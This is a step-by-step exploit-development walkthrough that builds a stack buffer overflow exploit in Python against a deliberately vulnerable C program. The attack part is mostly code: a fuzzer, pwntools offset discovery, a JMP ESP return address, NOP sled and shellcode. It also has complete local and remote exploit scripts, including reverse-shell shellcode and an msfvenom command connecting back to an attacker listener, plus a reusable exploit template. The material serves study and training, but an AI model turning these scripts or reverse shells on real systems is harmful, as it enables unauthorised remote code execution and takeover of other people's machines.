Walkthrough: Creating an Exploit in Python
Exploit development is a fundamental skill for security researchers. This walkthrough covers creating a basic buffer overflow exploit in Python, explaining each step of the process.
Prerequisites
Before starting, you should understand:
- Basic Python programming
- Memory layout (stack, heap, registers)
- Assembly language fundamentals
- How functions are called (calling conventions)
Lab Setup
Target Application
We'll use a simple vulnerable C program:
// vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // No bounds checking!
printf("You entered: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
Compile Without Protections
# Disable security features for learning
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# Disable ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Warning: Only do this in a controlled lab environment!
Tools Needed
- Python 3
- GDB with PEDA/GEF extension
- pwntools library
pip install pwntools
Phase 1: Fuzzing and Crash Analysis
Step 1: Identify the Vulnerability
The strcpy() function copies input without checking length. If input exceeds 64 bytes, it overwrites adjacent memory.
Step 2: Cause a Crash
#!/usr/bin/env python3
# fuzzer.py
import subprocess
import sys
def fuzz(length):
payload = "A" * length
try:
result = subprocess.run(
["./vuln", payload],
capture_output=True,
timeout=5
)
print(f"Length {length}: Program returned normally")
except subprocess.TimeoutExpired:
print(f"Length {length}: Timeout")
except Exception as e:
print(f"Length {length}: {e}")
# Fuzz with increasing lengths
for i in range(50, 150, 10):
fuzz(i)
Run the fuzzer:
python3 fuzzer.py
At some point, the program crashes (segmentation fault).
Phase 2: Finding the Offset
Step 3: Generate a Pattern
Use a unique pattern to find exactly where the return address is:
#!/usr/bin/env python3
# find_offset.py
from pwn import *
# Generate a cyclic pattern
pattern = cyclic(100)
print(pattern.decode())
Step 4: Analyze the Crash
Run with GDB:
gdb ./vuln
run $(python3 -c "from pwn import *; print(cyclic(100).decode())")
When it crashes, check the instruction pointer:
Program received signal SIGSEGV
EIP: 0x61616166
Step 5: Calculate the Offset
from pwn import *
# Find the offset
offset = cyclic_find(0x61616166) # 'faaa' in little-endian
print(f"Offset: {offset}") # Should be 76
We now know: 76 bytes to reach the return address.
Phase 3: Controlling Execution
Step 6: Verify Control
#!/usr/bin/env python3
# verify_control.py
from pwn import *
offset = 76
junk = b"A" * offset
return_address = b"BBBB"
payload = junk + return_address
# Save to file
with open("payload", "wb") as f:
f.write(payload)
print(f"Payload length: {len(payload)}")
Test in GDB:
gdb ./vuln
run $(cat payload)
Expected crash:
EIP: 0x42424242 # 'BBBB'
We control EIP!
Phase 4: Finding Space for Shellcode
Step 7: Analyze Available Space
#!/usr/bin/env python3
# analyze_space.py
from pwn import *
offset = 76
junk = b"A" * offset
return_address = b"BBBB"
after_eip = b"C" * 100 # Check space after return address
payload = junk + return_address + after_eip
with open("payload", "wb") as f:
f.write(payload)
In GDB, examine memory after the crash:
x/50x $esp
We see our "C"s in memoryβthere's space for shellcode!
Phase 5: Finding a Return Address
Step 8: Find JMP ESP Gadget
We need an address that jumps to our shellcode:
# In GDB with PEDA
jmpcall esp
Or use ROPgadget:
ROPgadget --binary vuln | grep "jmp esp"
Let's say we find: 0x08049196
Step 9: Alternative - Use ESP Address
If no JMP ESP, find where our buffer is:
# In GDB after crash
x/20x $esp
Note an address pointing to our controlled data.
Phase 6: Creating Shellcode
Step 10: Generate Shellcode
Using msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.1.10 \
LPORT=4444 \
-b "\x00" \
-f python
Or using pwntools:
from pwn import *
# Set context
context.arch = 'i386'
context.os = 'linux'
# Simple execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)}")
Phase 7: Building the Final Exploit
Step 11: Complete Exploit
#!/usr/bin/env python3
# exploit.py
from pwn import *
# Configuration
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'
# Exploit parameters
offset = 76
jmp_esp = p32(0x08049196) # JMP ESP address
nop_sled = b"\x90" * 16 # NOP sled for reliability
# Shellcode - execve("/bin/sh")
shellcode = asm(shellcraft.sh())
# Build payload
payload = b""
payload += b"A" * offset # Fill buffer
payload += jmp_esp # Overwrite return address
payload += nop_sled # NOP sled
payload += shellcode # Our shellcode
# Exploit
log.info(f"Payload length: {len(payload)}")
log.info(f"Shellcode length: {len(shellcode)}")
# Method 1: Run locally
p = process(["./vuln", payload])
p.interactive()
Step 12: Remote Exploit Version
If the vulnerable service is remote:
#!/usr/bin/env python3
# remote_exploit.py
from pwn import *
context.arch = 'i386'
context.log_level = 'info'
# Remote target
HOST = "192.168.1.100"
PORT = 9999
# Exploit parameters
offset = 76
jmp_esp = p32(0x08049196)
nop_sled = b"\x90" * 16
# Reverse shell shellcode
shellcode = asm(shellcraft.connect("192.168.1.10", 4444) +
shellcraft.dupsh())
# Build payload
payload = b"A" * offset
payload += jmp_esp
payload += nop_sled
payload += shellcode
# Connect and exploit
log.info(f"Connecting to {HOST}:{PORT}")
p = remote(HOST, PORT)
log.info("Sending payload...")
p.sendline(payload)
log.success("Payload sent! Check your listener.")
p.interactive()
Phase 8: Handling Bad Characters
Step 13: Identify Bad Characters
Some characters break exploits (null bytes, newlines, etc.):
#!/usr/bin/env python3
# badchars.py
# Generate all characters except null
badchars = bytes(range(1, 256))
# Test payload
payload = b"A" * offset + b"BBBB" + badchars
In GDB, examine if all bytes made it through:
x/256x $esp
Compare with expected sequence to find bad characters.
Step 14: Encode Shellcode
Remove bad characters:
from pwn import *
context.arch = 'i386'
# Avoid bad characters
shellcode = asm(shellcraft.sh())
# If you need encoding
# Use msfvenom with -b flag for bad chars
# Or manually encode
Complete Exploit Template
#!/usr/bin/env python3
"""
Exploit Template
Target: vuln application
Vulnerability: Stack buffer overflow in vulnerable_function()
"""
from pwn import *
import sys
# ==================== CONFIGURATION ====================
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'
# Offset to return address
OFFSET = 76
# Address of JMP ESP gadget (adjust for target)
JMP_ESP = 0x08049196
# Bad characters to avoid
BADCHARS = b"\x00"
# ==================== SHELLCODE ====================
def generate_shellcode():
"""Generate shellcode based on requirements"""
# Local shell
return asm(shellcraft.sh())
# Or reverse shell
# return asm(shellcraft.connect(LHOST, LPORT) + shellcraft.dupsh())
# ==================== EXPLOIT ====================
def build_payload():
"""Construct the exploit payload"""
shellcode = generate_shellcode()
payload = b""
payload += b"A" * OFFSET # Junk to fill buffer
payload += p32(JMP_ESP) # Return address
payload += b"\x90" * 16 # NOP sled
payload += shellcode # Shellcode
return payload
def exploit_local(binary):
"""Exploit local binary"""
payload = build_payload()
p = process([binary, payload])
p.interactive()
def exploit_remote(host, port):
"""Exploit remote service"""
payload = build_payload()
p = remote(host, port)
p.sendline(payload)
p.interactive()
# ==================== MAIN ====================
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <local|remote> [args]")
print(f" Local: {sys.argv[0]} local ./vuln")
print(f" Remote: {sys.argv[0]} remote HOST PORT")
sys.exit(1)
if sys.argv[1] == "local":
exploit_local(sys.argv[2])
elif sys.argv[1] == "remote":
exploit_remote(sys.argv[2], int(sys.argv[3]))
Modern Mitigations
This basic exploit works because protections are disabled. Modern systems have:
ASLR (Address Space Layout Randomization)
- Randomizes memory addresses
- Bypass: Information leak, brute force, return-to-plt
Stack Canaries
- Detect buffer overflows
- Bypass: Information leak, format strings
NX/DEP (Non-Executable Stack)
- Prevents executing stack data
- Bypass: Return-oriented programming (ROP)
PIE (Position Independent Executable)
- Randomizes code addresses
- Bypass: Information leak
Key Takeaways
- Understand the vulnerability before writing exploits
- Document each step of your process
- Test incrementally - verify each stage works
- Handle edge cases - bad characters, space constraints
- Learn mitigations - real exploits must bypass protections
Further Learning
- Stack-based exploitation β Heap exploitation
- Simple overflows β ROP chains
- Linux β Windows exploitation
- x86 β x64 exploitation
Want to learn more about exploit development? Contact us: m1k3@msquarellc.net